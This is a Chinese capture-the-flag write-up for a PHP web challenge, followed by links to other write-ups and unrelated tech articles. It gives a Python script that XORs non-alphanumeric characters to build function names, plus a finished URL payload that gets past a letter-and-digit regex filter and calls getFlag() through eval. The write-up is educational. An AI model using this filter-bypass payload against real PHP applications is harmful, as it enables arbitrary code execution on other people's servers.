MEIZIJIU_PHP

题目链接:

http://202.112.51.184:20001/

打开网页出现一段PHP代码:

代码大意就是如果得到的code不为空则执行下列操作:

如果code长度大于40就显示LONG,如果code匹配到正则表达式中出现的字符就显示NO,否则执行code(即若code值正确则可以拿到flag)。

看到下面的hint,上面显示通过getFlag()函数可以拿到flag,那么,我们的目标就是绕过PHP的字符过滤,在code中执行getFlag()函数。

根据正则表达式,可以看出所有字母和数字被过滤了,那么我们就需要将getFlag几个字母通过转换表达。

目前想到一种较为麻烦的:

 # -*- coding:utf- -*-
list=[' ','*','~',']','$','@','!','%','&','(',')','_','=','{','}','[','?','\\','/','.','\'',';',':','<','>','+','-','^','`','|','.',',']
for i in range(len(list)):
for j in range(len(list)):
str=chr(ord(list[i])^ord(list[j]))
if(str=='a'):
print list[i],list[j]
break; print 'OK'

然后随便选一组贴在网址后面,如:

http://202.112.51.184:20001/?code=$_=(%27][%2B:@_%3C%27^%27:%3E_|,%3E[%27);$_();

(网页自动转义了),则可以得到flag:

FLAG{Php_zezeze}

需要注意的是,通过脚本得到的一些字符是URL保留字,需要再换种方式表示:

URL中的保留字
特殊字符代表含义替换内容
+ URL 中+号表示空格 %2B
空格 URL中的空格可以用+号或者编码 %
/ 分隔目录和子目录 %2F
? 分隔实际的URL和参数 %3F
% 指定特殊字符 %
# 表示书签 %
& URL 中指定的参数间的分隔符 %
= URL 中指定参数的值 %3D
 

WEB部分题目writeup的更多相关文章

  1. jarvis OJ WEB题目writeup

    0x00前言 发现一个很好的ctf平台,题目感觉很有趣,学习了一波并记录一下 https://www.jarvisoj.com 0x01 Port51 题目要求是用51端口去访问该网页,注意下,要用具 ...

  2. 三叶草极客大挑战2020 部分题目Writeup

    三叶草极客大挑战2020 部分题目Writeup Web Welcome 打开后状态码405,555555,然后看了一下报头存在请求错误,换成POST请求后,查看到源码 <?php error_ ...

  3. 2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup

    2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup 2020年网鼎杯白虎组赛题.zip下载 https://download.csdn.net/download/jameswhit ...

  4. ISITDTU CTF 2020 部分Web题目Writeup

    周末,跟着m3w师傅打ISITDTUCTF,m3w师傅带弟弟上分,Tql! Web1 给了源码: <?php class Read{ public $flag; public function ...

  5. IDF 实验室部分题目WriteUp

    前天花了一个下午的时间刷了几道IDF实验室的题目, 这个网站实在是有点冷清, 题目也比较少, 所以就被我和师兄们刷榜了2333... 因为我最先开始做, 所以就干脆刷到第一去了. 题目很水, 切莫见怪 ...

  6. JarvisOJ平台Web题部分writeup

    PORT51 题目链接:http://web.jarvisoj.com:32770/ 这道题本来以为是访问服务器的51号端口,但是想想又不太对,应该是本地的51号端口访问服务器 想着用linux下的c ...

  7. ctf题目writeup(7)

    2019.2.10 过年休息归来,继续做题. bugku的web题,地址:https://ctf.bugku.com/challenges 1. http://123.206.87.240:8002/ ...

  8. ctf题目writeup(4)

    2019.1.31 题目:这次都是web的了...(自己只略接触隐写杂项web这些简单的东西...) 题目地址:https://www.ichunqiu.com/battalion 1. 打开链接: ...

  9. ctf题目writeup(1)

    2019/1/28 题目来源:爱春秋 https://www.ichunqiu.com/battalion?t=1 1. 该文件是一个音频文件: 首先打开听了一下,有短促的长的....刚开始以为是摩斯 ...

随机推荐

  1. Spring-webflow基础讲解

    什么是webflow: Spring Web Flow构建于Spring MVC之上,允许实现Web应用程序的“流程”.流程封装了一系列步骤,指导用户执行某些业务任务.它跨越多个HTTP请求,具有状态 ...

  2. CentOS_7下安装MySQL

    卸载旧版本MySQl: 下载MySQ: MySQl官网:https://dev.mysql.com/downloads/mysql/ 版本自选,操作系统选Linux-Generic,64位系统或者32 ...

  3. shutil、zipfile,tarfile

    shutil 模块提供了大量的文件的高级操作.特别针对文件拷贝和删除,主要功能为目录和文件操作以及压缩操作. 1. shutil.copyfileobj(fsrc, fdst[, length]) 功 ...

  4. List根据对象的两个字段进行排序,并且有一个倒序

    用java8 的lambda 表达式 list.sort(Comparator.comparing(Live::getId) .thenComparing(Live::getAppId, Compar ...

  5. 常规 nginx 代理apache

    nginx: server { server_name www.xx.com xx.com; access_log /data/wwwlogs/www.xx.com_nginx.log combine ...

  6. 【BZOJ3999】[TJOI2015]旅游(Link-Cut Tree)

    [BZOJ3999][TJOI2015]旅游(Link-Cut Tree) 题面 BZOJ 洛谷 题解 一道不难的\(LCT\)题(用树链剖分不是为难自己吗,这种有方向的东西用\(LCT\)不是方便那 ...

  7. MySQL学习基础知识1

    什么是数据库? 数据库就是存储数据的仓库. 存储方式: 变量 无法永久存储 文件处理,可以永久存储,弊端:文件只能在自己的计算机读写,无法被分享(局域网除外) 数据库分类: 1.关系型数据库 提供某种 ...

  8. bzoj3168 钙铁锌硒维生素 (矩阵求逆+二分图最小字典序匹配)

    设第一套为A,第二套为B 先对于每个B[i]判断他能否替代A[j],即B[i]与其他的A线性无关 设$B[i]=\sum\limits_{k}{c[k]*A[k]}$,那么只要看c[j]是否等于零即可 ...

  9. 使用BeautifulSoup

    下载bs4,导入BeautifulSoup pip install bs4 from bs4 import BeautifulSoup BeautifulSoup 的使用 创建对象 r = reque ...

  10. 分析web.xml

    <?xml version="1.0" encoding="UTF-8"?>  //xml的版本:1.0 和 编码:utf-8 <web-ap ...